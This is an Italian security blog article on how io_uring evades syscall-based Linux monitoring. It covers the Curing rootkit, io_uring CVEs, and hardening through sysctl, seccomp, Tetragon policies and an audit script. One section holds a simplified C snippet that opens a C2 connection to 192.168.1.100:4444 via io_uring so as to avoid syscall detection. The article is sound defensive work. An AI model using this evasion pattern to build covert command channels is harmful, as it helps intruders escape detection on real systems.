io_uring e la Sicurezza Linux: Il Punto Cieco che Minaccia i Tuoi Server

io_uring crea un punto cieco critico negli strumenti di sicurezza Linux, permettendo operazioni invisibili al monitoraggio delle syscall. Scopri come proteggerti con sysctl, seccomp, LSM hooks e Tetragon.

Introduzione: io_uring e il Punto Cieco della Sicurezza Linux

Se amministrate server Linux in produzione, c'è una buona probabilità che abbiate sentito parlare di io_uring. Introdotta nel kernel 5.1 nel 2019, quest'interfaccia di I/O asincrono ha cambiato le regole del gioco per le applicazioni ad alto throughput. Il problema? La stessa architettura che la rende così dannatamente veloce ha creato un punto cieco enorme negli strumenti di sicurezza runtime che dovrebbero proteggere i nostri sistemi.

E non è teoria.

Nel 2025, i ricercatori di ARMO hanno sviluppato Curing, un rootkit proof-of-concept che opera interamente tramite io_uring, aggirando completamente il monitoraggio basato sulle system call. Strumenti come Falco e Microsoft Defender? Completamente ciechi. Questo ha fatto tremare l'intero ecosistema della sicurezza Linux — e, onestamente, a ragione.

In questo articolo vedremo nel dettaglio come funziona io_uring, perché rappresenta una minaccia concreta, quali CVE critiche sono state scoperte e, soprattutto, come proteggere i vostri sistemi con strategie di hardening che potete applicare subito.

Come Funziona io_uring: Architettura e Meccanismo

Per capire davvero la portata del problema, bisogna prima comprendere come io_uring funziona sotto il cofano. A differenza delle classiche system call di I/O — read(), write(), sendmsg() — io_uring usa un sistema di buffer circolari condivisi tra userspace e kernel.

I Componenti Fondamentali

L'architettura poggia su tre elementi:

  • Submission Queue (SQ): buffer circolare dove le applicazioni userspace inseriscono le richieste di I/O come Submission Queue Entries (SQE)
  • Completion Queue (CQ): buffer circolare dove il kernel deposita i risultati delle operazioni completate come Completion Queue Entries (CQE)
  • System call io_uring_enter(): l'unica syscall necessaria per inviare un batch di operazioni al kernel

Ecco il flusso in sintesi:

// Schema semplificato del funzionamento di io_uring

Applicazione Userspace          Kernel
       |                           |
       |-- Scrive SQE nel SQ ---->|
       |                           |
       |-- io_uring_enter() ----->|  // Unica syscall necessaria
       |                           |
       |                           |-- Esegue operazioni I/O
       |                           |-- (read, write, network, ecc.)
       |                           |
       |<-- Legge CQE dal CQ ----|
       |                           |

// Con SQPOLL abilitato, anche io_uring_enter() diventa superflua:
// un thread del kernel monitora continuamente la SQ

Il Problema: Bypass delle System Call

Ed è qui che le cose si fanno preoccupanti. Una volta che io_uring viene inizializzato con io_uring_setup(), le operazioni successive non generano system call individuali. Vengono scritte direttamente nei buffer condivisi in memoria e processate dal kernel saltando completamente il meccanismo tradizionale di syscall. In pratica:

  • Lettura e scrittura file senza read()/write()
  • Operazioni di rete senza sendmsg()/recvmsg()
  • Operazioni sui socket senza connect()/accept()

Attualmente io_uring supporta oltre 61 operazioni diverse, coprendo funzioni critiche di filesystem e rete che normalmente farebbero scattare tutti gli allarmi.

La Modalità SQPOLL: Il Rischio Amplificato

Come se non bastasse, c'è la modalità SQPOLL (Submission Queue Polling). Attivandola con il flag IORING_SETUP_SQPOLL, un thread del kernel dedicato monitora in continuazione la Submission Queue, rendendo superflua anche la chiamata a io_uring_enter().

In parole povere: l'applicazione scrive le richieste nel buffer condiviso e il thread kernel le processa automaticamente. Dopo la chiamata iniziale a io_uring_setup(), nessuna system call viene mai effettuata. Per qualsiasi strumento di monitoraggio basato sulle syscall, è come se non stesse succedendo nulla.

// Inizializzazione di io_uring con SQPOLL
struct io_uring_params params = {0};
params.flags = IORING_SETUP_SQPOLL;
params.sq_thread_idle = 10000;  // thread kernel attivo per 10 secondi

int ring_fd = io_uring_setup(256, &params);

// Da questo punto, NESSUNA system call è necessaria
// Il thread del kernel raccoglie automaticamente le SQE
// e le processa in background

Lo scenario peggiore? Un attaccante che ottiene l'accesso iniziale al sistema può creare un canale C2 completamente invisibile, ad alte prestazioni e senza lasciare tracce nel monitoraggio tradizionale. Fa paura, lo so.

Il Rootkit Curing: Anatomia dell'Attacco

Nell'aprile 2025, il team di ARMO ha pubblicato Curing, un proof-of-concept che ha messo in luce in modo brutale quanto siano vulnerabili gli strumenti di sicurezza Linux di fronte a questa tecnica.

Architettura del Rootkit

Curing stabilisce una comunicazione bidirezionale tra un server C2 e l'host compromesso, operando interamente attraverso io_uring. Riesce a:

  • Ricevere comandi dal server C2 tramite operazioni di rete io_uring
  • Eseguire comandi sul sistema target
  • Esfiltrare dati leggendo file e inviandoli via rete
  • Manipolare il filesystem creando, modificando o eliminando file

Tutto questo senza mai toccare le system call che i tool di sicurezza stanno monitorando. Ecco perché è così insidioso.

Esempio Concettuale di Comunicazione C2 via io_uring

// Esempio semplificato: connessione di rete tramite io_uring
// (a scopo didattico - non è codice funzionante completo)

#include <liburing.h>
#include <sys/socket.h>
#include <netinet/in.h>

struct io_uring ring;

// Inizializzazione di io_uring
io_uring_queue_init(256, &ring, 0);

// Preparazione della connessione al C2 - NESSUNA syscall connect()
struct io_uring_sqe *sqe = io_uring_get_sqe(&ring);
struct sockaddr_in c2_addr = {
    .sin_family = AF_INET,
    .sin_port = htons(4444),
    .sin_addr.s_addr = inet_addr("192.168.1.100")
};

// L'operazione connect avviene tramite io_uring, non tramite syscall
io_uring_prep_connect(sqe, sockfd,
    (struct sockaddr *)&c2_addr, sizeof(c2_addr));
io_uring_submit(&ring);

// Ricezione comandi dal C2 - NESSUNA syscall recv()/read()
sqe = io_uring_get_sqe(&ring);
io_uring_prep_recv(sqe, sockfd, buffer, BUF_SIZE, 0);
io_uring_submit(&ring);

// L'intero flusso di comunicazione è invisibile al
// monitoraggio basato su syscall

Risultati dei Test sugli Strumenti di Sicurezza

I risultati dei test condotti da ARMO sono stati, francamente, allarmanti:

  • Falco (progetto CNCF graduated): completamente cieco — zero rilevamenti delle operazioni io_uring. La dipendenza totale dal monitoraggio delle syscall è stata fatale
  • Microsoft Defender for Endpoint: nessuna rilevazione delle attività del rootkit
  • Tetragon (Cilium/Isovalent): parzialmente efficace — riesce a rilevare le operazioni io_uring, ma solo con configurazione manuale di Kprobes e LSM hooks (non attivi di default)

CVE Critiche: La Storia delle Vulnerabilità di io_uring

Ma io_uring non è solo un vettore di evasione. È stata anche una vera e propria miniera di vulnerabilità del kernel. Per darvi un'idea della scala del problema: Google ha riportato che il 60% delle segnalazioni al proprio programma di bug bounty nel 2022 riguardava io_uring, con oltre un milione di dollari pagati in ricompense.

CVE Significative nel 2025

Anche nel 2025 non sono mancate le sorprese:

  • CVE-2025-21686: bug nel sottosistema io_uring/rsrc che causava errori di contabilizzazione della memoria quando i buffer venivano clonati tra istanze diverse con contesti di accounting differenti — potenzialmente portando a valori negativi di memoria bloccata
  • CVE-2025-37804: vulnerabilità nella gestione degli I/O asincroni che ha richiesto una patch urgente
  • CVE-2025-68317: problema in io_uring/zctx relativo alla verifica dei contesti di notifica concatenati nelle operazioni Send Zero-Copy
  • CVE-2025-68294: bug nell'importazione di buffer registrati vettorizzati che utilizzava il request principale invece dell'io_kiocb di notifica

Perché Google Ha Disabilitato io_uring

La decisione di Google di disabilitare io_uring sui propri sistemi di produzione non è stata presa alla leggera. Ecco com'è andata:

  • 2022: Google identifica io_uring come fonte principale di exploit nel programma kCTF VRP
  • 2023: ChromeOS disabilita completamente io_uring
  • 2023: I server di produzione interni di Google seguono la stessa strada
  • 2024: Android limita fortemente l'accesso a io_uring

Quando un'organizzazione della portata di Google decide di rinunciare ai benefici prestazionali di io_uring per questioni di sicurezza, il messaggio è chiaro.

Classificazione delle Vulnerabilità: Pattern Ricorrenti

Analizzando le CVE storiche di io_uring, emergono alcune tipologie che si ripresentano regolarmente (e che vale la pena conoscere per capire la superficie d'attacco):

  • Use-After-Free (UAF): la complessità nella gestione dei cicli di vita delle strutture dati ha prodotto numerose vulnerabilità dove la memoria viene usata dopo essere stata liberata, aprendo la strada all'escalation di privilegi
  • Race Condition: la natura asincrona e multi-threaded crea finestre temporali sfruttabili per corrompere lo stato interno del kernel
  • Errori di Accounting: come nel caso di CVE-2025-21686, la gestione delle risorse tra istanze diverse può produrre valori inconsistenti con conseguenze imprevedibili
  • Buffer Overflow: l'importazione e gestione dei buffer registrati hanno storicamente sofferto di errori di validazione

Questa varietà di vettori d'attacco all'interno di un singolo sottosistema del kernel rende io_uring particolarmente interessante per chi sviluppa exploit.

Strategie di Hardening: Disabilitare io_uring a Livello di Sistema

Passiamo alla parte pratica. La prima e più efficace misura di difesa è controllare l'accesso a io_uring direttamente a livello di sistema operativo. Dal kernel 6.6 in poi, c'è un parametro sysctl dedicato che semplifica molto le cose.

Il Parametro sysctl io_uring_disabled

Con kernel.io_uring_disabled potete controllare l'accesso a io_uring senza dover ricompilare il kernel:

# Verificare il valore corrente
sysctl kernel.io_uring_disabled

# Valori possibili:
# 0 = io_uring abilitato per tutti i processi (default)
# 1 = io_uring disabilitato per processi non privilegiati
#     (salvo appartenenza al gruppo kernel.io_uring_group)
# 2 = io_uring completamente disabilitato per tutti i processi

# Disabilitare io_uring per utenti non privilegiati (consigliato)
sudo sysctl -w kernel.io_uring_disabled=1

# Disabilitare completamente io_uring (massima sicurezza)
sudo sysctl -w kernel.io_uring_disabled=2

Rendere la Configurazione Persistente

Ovviamente, non volete che la configurazione sparisca al primo reboot:

# Creare un file di configurazione sysctl dedicato
sudo tee /etc/sysctl.d/99-disable-io-uring.conf <<EOF
# Disabilitare io_uring per utenti non privilegiati
# Impostare a 2 per disabilitare completamente
kernel.io_uring_disabled = 1

# Opzionale: specificare un gruppo con accesso a io_uring
# kernel.io_uring_group = 1000
EOF

# Applicare la configurazione
sudo sysctl --system

# Verificare che sia stata applicata correttamente
sysctl kernel.io_uring_disabled

Valutare l'Impatto sulle Applicazioni

Prima di disabilitare tutto, però, conviene controllare se qualcosa nel vostro ambiente dipende effettivamente da io_uring:

# Trovare processi che utilizzano io_uring
# Metodo 1: cercare file descriptor io_uring in /proc
for pid in /proc/[0-9]*; do
    if ls -la "$pid/fd" 2>/dev/null | grep -q "anon_inode:\[io_uring\]"; then
        echo "PID: $(basename $pid) - $(cat $pid/comm 2>/dev/null)"
    fi
done

# Metodo 2: utilizzare strace per monitorare le chiamate io_uring_setup
sudo strace -e trace=io_uring_setup -fp $(pgrep -d, nome_processo) 2>&1

# Metodo 3: utilizzare bpftrace per tracciare le chiamate io_uring
sudo bpftrace -e 'tracepoint:io_uring:io_uring_create {
    printf("PID %d (%s) ha creato un io_uring ring\n", pid, comm);
}'

Tra le applicazioni che usano comunemente io_uring ci sono database ad alte prestazioni (RocksDB, per esempio), server web come nginx con moduli sperimentali, sistemi di messaging e applicazioni di storage distribuito.

Protezione nei Container: Docker e Kubernetes

Gli ambienti containerizzati meritano un'attenzione particolare. La superficie d'attacco cambia molto in base alla configurazione, e le impostazioni predefinite non sono sempre dalla vostra parte.

Docker: Profili Seccomp

Buona notizia: a partire da Docker 4.42.0, i container bloccano le syscall io_uring di default. Ma fidatevi, è sempre meglio verificare e rafforzare la configurazione:

{
    "defaultAction": "SCMP_ACT_ERRNO",
    "defaultErrnoRet": 1,
    "archMap": [
        {
            "architecture": "SCMP_ARCH_X86_64",
            "subArchitectures": [
                "SCMP_ARCH_X86",
                "SCMP_ARCH_X32"
            ]
        }
    ],
    "syscalls": [
        {
            "names": [
                "io_uring_setup",
                "io_uring_enter",
                "io_uring_register"
            ],
            "action": "SCMP_ACT_ERRNO",
            "errnoRet": 1,
            "comment": "Blocca tutte le syscall io_uring"
        }
    ]
}

Per applicare il profilo a un container:

# Eseguire un container con profilo seccomp personalizzato
docker run --security-opt seccomp=/path/to/seccomp-profile.json \
    --name container-sicuro \
    immagine:tag

# Verificare che io_uring sia bloccato nel container
docker exec container-sicuro bash -c \
    "python3 -c 'import ctypes; ctypes.CDLL(None).syscall(425, 0, 0)' 2>&1"
# Dovrebbe restituire un errore "Operation not permitted"

Kubernetes: Profili Seccomp e Security Context

In Kubernetes la situazione è un po' diversa — e meno rassicurante. Il profilo seccomp predefinito è Unconfined, il che significa che io_uring è accessibile di default. Ecco come rimediare:

# Pod con profilo seccomp che blocca io_uring
apiVersion: v1
kind: Pod
metadata:
  name: pod-sicuro
  namespace: produzione
spec:
  securityContext:
    seccompProfile:
      type: Localhost
      localhostProfile: profiles/block-io-uring.json
  containers:
  - name: app
    image: app:latest
    securityContext:
      runAsNonRoot: true
      readOnlyRootFilesystem: true
      allowPrivilegeEscalation: false
      capabilities:
        drop:
          - ALL

Per impostare RuntimeDefault come profilo seccomp predefinito per l'intero cluster (dalla v1.22 di Kubernetes):

# Configurazione del kubelet per utilizzare RuntimeDefault
# In /var/lib/kubelet/config.yaml
apiVersion: kubelet.config.k8s.io/v1beta1
kind: KubeletConfiguration
seccompDefault: true

# Oppure tramite flag del kubelet
# --seccomp-default=true

Monitoraggio Avanzato con LSM Hooks e KRSI

Ok, abbiamo visto che il monitoraggio basato sulle system call non basta più. Serve andare più in profondità, e qui entrano in gioco i Linux Security Modules (LSM) e KRSI (Kernel Runtime Security Instrumentation).

Cos'è KRSI e Perché Vi Interessa

KRSI è un meccanismo che si appoggia al framework LSM per collegare programmi eBPF agli hook LSM del kernel. La differenza fondamentale rispetto al monitoraggio delle syscall? Gli hook LSM fanno parte della logica di enforcement interna del kernel e vengono invocati indipendentemente dal meccanismo usato per eseguire un'operazione — syscall tradizionale o io_uring che sia.

Questo significa che catturano:

  • Operazioni su file (apertura, lettura, scrittura, esecuzione)
  • Operazioni di rete (connessione, binding, invio/ricezione)
  • Operazioni sui processi (esecuzione, fork, segnali)
  • Operazioni su credenziali e permessi

Il tutto senza che importi come l'operazione è stata avviata. È esattamente quello che ci serve.

Configurare Tetragon con LSM Hooks

Tetragon, il progetto di Cilium/Isovalent per l'osservabilità e l'enforcement di sicurezza basato su eBPF, è probabilmente lo strumento più efficace in circolazione per rilevare le operazioni io_uring — a patto di configurarlo correttamente:

# Installare Tetragon tramite Helm
helm repo add cilium https://helm.cilium.io
helm repo update

helm install tetragon cilium/tetragon \
    --namespace kube-system \
    --set tetragon.enableLSM=true \
    --set tetragon.btf=/sys/kernel/btf/vmlinux

# Creare una TracingPolicy per monitorare operazioni di file
# tramite LSM hooks (cattura anche operazioni io_uring)
cat <<EOF | kubectl apply -f -
apiVersion: cilium.io/v1alpha1
kind: TracingPolicy
metadata:
  name: monitor-file-access-lsm
spec:
  lsmhooks:
  - hook: "file_open"
    args:
    - index: 0
      type: "file"
    selectors:
    - matchActions:
      - action: Post
        rateLimit: "1m"
  - hook: "file_permission"
    args:
    - index: 0
      type: "file"
    - index: 1
      type: "int"
    selectors:
    - matchActions:
      - action: Post
EOF

Monitorare Connessioni di Rete via LSM

# TracingPolicy per monitorare connessioni di rete
# (include operazioni io_uring)
apiVersion: cilium.io/v1alpha1
kind: TracingPolicy
metadata:
  name: monitor-network-lsm
spec:
  lsmhooks:
  - hook: "socket_connect"
    args:
    - index: 0
      type: "sock"
    - index: 1
      type: "sockaddr"
    selectors:
    - matchActions:
      - action: Post
  - hook: "socket_sendmsg"
    args:
    - index: 0
      type: "sock"
    selectors:
    - matchActions:
      - action: Post

Utilizzare Kprobes come Alternativa

Non avete il supporto LSM nel vostro ambiente? Niente panico. Tetragon può usare anche i Kprobes per agganciare le funzioni interne del kernel che io_uring richiama:

# TracingPolicy con Kprobes per funzioni interne di io_uring
apiVersion: cilium.io/v1alpha1
kind: TracingPolicy
metadata:
  name: monitor-io-uring-kprobes
spec:
  kprobes:
  - call: "io_read"
    syscall: false
    args:
    - index: 0
      type: "nop"
    selectors:
    - matchActions:
      - action: Post
  - call: "io_write"
    syscall: false
    args:
    - index: 0
      type: "nop"
    selectors:
    - matchActions:
      - action: Post
  - call: "io_connect"
    syscall: false
    args:
    - index: 0
      type: "nop"
    selectors:
    - matchActions:
      - action: Post

Auditing e Rilevamento: Script di Verifica della Sicurezza

Volete sapere subito a che punto siete? Ho preparato uno script di audit che potete eseguire sui vostri sistemi per avere un quadro chiaro della situazione:

#!/bin/bash
# io_uring Security Audit Script
# Verifica lo stato di sicurezza di io_uring sul sistema

echo "=========================================="
echo "  io_uring Security Audit Report"
echo "  Data: $(date -u '+%Y-%m-%d %H:%M:%S UTC')"
echo "  Host: $(hostname)"
echo "=========================================="
echo ""

# 1. Versione del kernel
KERNEL_VERSION=$(uname -r)
echo "[INFO] Versione kernel: $KERNEL_VERSION"

# 2. Verificare il parametro sysctl
echo ""
echo "[CHECK] Stato di io_uring_disabled:"
if sysctl kernel.io_uring_disabled 2>/dev/null; then
    VALUE=$(sysctl -n kernel.io_uring_disabled 2>/dev/null)
    case $VALUE in
        0) echo "  [AVVISO] io_uring è ABILITATO per tutti i processi" ;;
        1) echo "  [OK] io_uring è disabilitato per processi non privilegiati" ;;
        2) echo "  [OK] io_uring è COMPLETAMENTE disabilitato" ;;
    esac
else
    echo "  [AVVISO] Parametro sysctl non disponibile"
    echo "  (richiede kernel >= 6.6)"
fi

# 3. Verificare processi che utilizzano io_uring
echo ""
echo "[CHECK] Processi con file descriptor io_uring attivi:"
IO_URING_COUNT=0
for pid_dir in /proc/[0-9]*; do
    pid=$(basename "$pid_dir")
    if ls -la "$pid_dir/fd" 2>/dev/null | grep -q "anon_inode:\[io_uring\]"; then
        PROC_NAME=$(cat "$pid_dir/comm" 2>/dev/null || echo "sconosciuto")
        echo "  PID $pid ($PROC_NAME) - io_uring attivo"
        IO_URING_COUNT=$((IO_URING_COUNT + 1))
    fi
done
if [ $IO_URING_COUNT -eq 0 ]; then
    echo "  [OK] Nessun processo con io_uring attivo rilevato"
fi

# 4. Verificare il profilo seccomp predefinito di Docker
echo ""
echo "[CHECK] Stato Docker seccomp:"
if command -v docker &>/dev/null; then
    DOCKER_VERSION=$(docker version --format '{{.Server.Version}}' 2>/dev/null)
    echo "  Versione Docker: $DOCKER_VERSION"
    if docker info --format '{{.SecurityOptions}}' 2>/dev/null | grep -q "seccomp"; then
        echo "  [OK] Seccomp è abilitato in Docker"
    else
        echo "  [AVVISO] Seccomp potrebbe non essere abilitato"
    fi
else
    echo "  Docker non installato"
fi

# 5. Verificare configurazione LSM
echo ""
echo "[CHECK] Linux Security Modules attivi:"
if [ -f /sys/kernel/security/lsm ]; then
    LSM_LIST=$(cat /sys/kernel/security/lsm)
    echo "  LSM attivi: $LSM_LIST"
    if echo "$LSM_LIST" | grep -q "bpf"; then
        echo "  [OK] BPF LSM è attivo (supporto KRSI)"
    else
        echo "  [AVVISO] BPF LSM non attivo - KRSI non disponibile"
        echo "  Aggiungere 'bpf' ai parametri di boot: lsm=...,bpf"
    fi
else
    echo "  [AVVISO] Impossibile leggere la configurazione LSM"
fi

# 6. Verificare la persistenza della configurazione
echo ""
echo "[CHECK] Configurazione persistente:"
if grep -r "io_uring_disabled" /etc/sysctl.d/ /etc/sysctl.conf 2>/dev/null; then
    echo "  [OK] Configurazione io_uring trovata nei file sysctl"
else
    echo "  [AVVISO] Nessuna configurazione persistente per io_uring_disabled"
fi

echo ""
echo "=========================================="
echo "  Audit completato"
echo "=========================================="

Abilitare BPF LSM nel Kernel: Guida Passo-Passo

Per sfruttare KRSI e gli hook LSM basati su eBPF, il kernel deve essere compilato con il supporto BPF LSM e abilitato all'avvio. Non è complicato, ma richiede un riavvio.

Verificare il Supporto Attuale

# Verificare se BPF LSM è supportato dal kernel
grep CONFIG_BPF_LSM /boot/config-$(uname -r)
# Output atteso: CONFIG_BPF_LSM=y

# Verificare i LSM attualmente attivi
cat /sys/kernel/security/lsm
# Esempio output: lockdown,capability,landlock,yama,apparmor,bpf

# Se 'bpf' non è nella lista, bisogna aggiungerlo ai parametri di boot

Configurare i Parametri di Boot

# Modificare la configurazione GRUB
sudo nano /etc/default/grub

# Aggiungere 'bpf' al parametro lsm
# Esempio: se il valore corrente è:
# GRUB_CMDLINE_LINUX="... lsm=lockdown,capability,landlock,yama,apparmor"
# Modificare in:
# GRUB_CMDLINE_LINUX="... lsm=lockdown,capability,landlock,yama,apparmor,bpf"

# Aggiornare GRUB
sudo update-grub    # Debian/Ubuntu
# oppure
sudo grub2-mkconfig -o /boot/grub2/grub.cfg    # RHEL/CentOS

# Riavviare il sistema
sudo reboot

# Dopo il riavvio, verificare
cat /sys/kernel/security/lsm
# 'bpf' dovrebbe comparire nella lista

Strategia di Difesa in Profondità: Approccio Integrato

Non esiste una singola soluzione magica contro le minacce basate su io_uring. Serve un approccio di difesa in profondità che combini più livelli. Nella mia esperienza, le organizzazioni che si affidano a un solo strumento o a una sola tecnica di mitigazione si trovano sempre esposte quando quel singolo livello viene aggirato.

Livello 1: Prevenzione

  • Disabilitare io_uring dove non strettamente necessario con kernel.io_uring_disabled
  • Profili seccomp restrittivi per tutti i container
  • Minimo privilegio: far girare le applicazioni come utenti non privilegiati
  • Kernel aggiornato: mantenere sempre le patch di sicurezza più recenti

Livello 2: Rilevamento

  • KRSI/BPF LSM per monitoraggio a livello di hook del kernel
  • Tetragon con TracingPolicy per Kprobes e LSM hooks
  • Audit regolari per scovare processi che usano io_uring
  • Monitoraggio dei log per attività anomale su rete e filesystem

Livello 3: Risposta

  • Playbook di incident response aggiornati per scenari di evasione io_uring
  • Isolamento automatico dei container compromessi
  • Analisi forense che includa la verifica delle strutture io_uring in memoria

Checklist di Implementazione

Per chi vuole un piano concreto da seguire settimana per settimana:

# Checklist di Hardening io_uring

## Fase 1: Valutazione (Settimana 1)
- [ ] Inventario delle applicazioni che utilizzano io_uring
- [ ] Verifica della versione del kernel (>= 6.6 per sysctl)
- [ ] Audit dei profili seccomp esistenti (Docker/Kubernetes)
- [ ] Verifica dello stato BPF LSM nel kernel

## Fase 2: Implementazione (Settimana 2-3)
- [ ] Configurare kernel.io_uring_disabled = 1 (o 2)
- [ ] Aggiornare profili seccomp per container
- [ ] Abilitare BPF LSM nei parametri di boot
- [ ] Installare e configurare Tetragon con LSM hooks
- [ ] Implementare TracingPolicy per file e rete

## Fase 3: Validazione (Settimana 4)
- [ ] Eseguire test di penetrazione con scenari io_uring
- [ ] Verificare che gli allarmi vengano generati correttamente
- [ ] Documentare le eccezioni (applicazioni che necessitano io_uring)
- [ ] Formazione del team SOC sui nuovi scenari di attacco

## Fase 4: Manutenzione Continua
- [ ] Monitoraggio mensile delle nuove CVE io_uring
- [ ] Aggiornamento trimestrale delle TracingPolicy
- [ ] Revisione semestrale della strategia di hardening

Il Futuro della Sicurezza io_uring

Il panorama sta evolvendo rapidamente. Ecco cosa tenere d'occhio nei prossimi mesi.

Sviluppi nel Kernel

La community del kernel Linux non è rimasta con le mani in mano. Le restrizioni introdotte con IOURING_REGISTER_RESTRICTIONS permettono di creare una whitelist permanente delle operazioni consentite per un ring io_uring — un approccio molto utile per il sandboxing di applicazioni non attendibili.

Evoluzione degli Strumenti di Sicurezza

I maintainer di Falco hanno riconosciuto il problema e stanno sviluppando plugin basati su LSM per colmare il gap di rilevamento. Anche altri strumenti dell'ecosistema CNCF stanno evolvendo verso meccanismi di monitoraggio più profondi del semplice hooking delle system call.

Integrazione con Rust nel Kernel

L'adozione progressiva di Rust nel kernel Linux potrebbe migliorare la sicurezza della memoria anche per i componenti di io_uring, riducendo la superficie d'attacco per le classiche vulnerabilità use-after-free e buffer overflow che hanno caratterizzato tante CVE. È una prospettiva interessante, anche se i tempi saranno lunghi.

io_uring Restrictions: Sandboxing Granulare

Una delle evoluzioni più promettenti è il meccanismo IOURING_REGISTER_RESTRICTIONS, che consente di installare una whitelist permanente di operazioni consentite su una specifica istanza io_uring. Particolarmente utile quando un'applicazione attendibile deve delegare un ring a codice non attendibile:

// Esempio: limitare un ring io_uring alle sole operazioni di lettura
struct io_uring_restriction restrictions[] = {
    {
        .opcode = IORING_RESTRICTION_SQE_OP,
        .sqe_op = IORING_OP_READ,
    },
    {
        .opcode = IORING_RESTRICTION_SQE_OP,
        .sqe_op = IORING_OP_READV,
    },
    // Nessuna operazione di rete o scrittura consentita
};

// Registrare le restrizioni (operazione irreversibile)
io_uring_register(ring_fd, IORING_REGISTER_RESTRICTIONS,
    restrictions, ARRAY_SIZE(restrictions));

// Abilitare le restrizioni
io_uring_register(ring_fd, IORING_REGISTER_ENABLE_RINGS, NULL, 0);

Questo meccanismo è ancora in fase di maturazione, ma la direzione è quella giusta: permettere l'uso di io_uring dove serve davvero, senza dover scegliere tra prestazioni e sicurezza. Ci si aspetta che framework applicativi e runtime di container integreranno queste restrizioni nelle configurazioni di sicurezza predefinite.

Conclusioni e Raccomandazioni

La minaccia di io_uring per la sicurezza Linux è reale, concreta e ben documentata. Il rootkit Curing ha dimostrato — senza lasciare spazio a dubbi — che gli strumenti tradizionali basati sul monitoraggio delle syscall hanno un punto cieco significativo.

Ecco cosa dovreste fare, partendo da domani:

  1. Valutate subito se io_uring è davvero necessario nei vostri ambienti di produzione. Se non lo è, disabilitatelo
  2. Aggiornate il kernel alla versione 6.6 o successiva per accedere a kernel.io_uring_disabled
  3. Adottate strumenti basati su LSM hooks come Tetragon, configurandoli per intercettare le operazioni io_uring
  4. Implementate profili seccomp restrittivi in tutti gli ambienti containerizzati
  5. Abilitate BPF LSM nel kernel per sfruttare KRSI e il monitoraggio avanzato
  6. Mantenete un ritmo aggressivo di patching per le vulnerabilità io_uring — ne escono parecchie, e sono spesso critiche

La sicurezza Linux non può più permettersi di fare affidamento solo sulle system call. L'era di io_uring richiede un salto verso meccanismi di rilevamento più profondi, integrati direttamente nel framework LSM del kernel.

Un'ultima considerazione: io_uring non è il "nemico". È un'interfaccia di I/O eccellente che offre vantaggi reali per applicazioni che hanno bisogno di throughput elevato. Il problema è che l'ecosistema degli strumenti di sicurezza non ha tenuto il passo con l'evoluzione del kernel. Colmare questo divario richiede impegno da parte di tutti — sviluppatori di tool di sicurezza, sysadmin e community del kernel.

Chi inizia oggi ad implementare le strategie descritte in questo articolo sarà in una posizione decisamente migliore per affrontare le minacce attuali e future. La chiave è muoversi adesso, prima che questa superficie d'attacco venga sfruttata attivamente nel vostro ambiente.

Sull'Autore Editorial Team

Our team of expert writers and editors.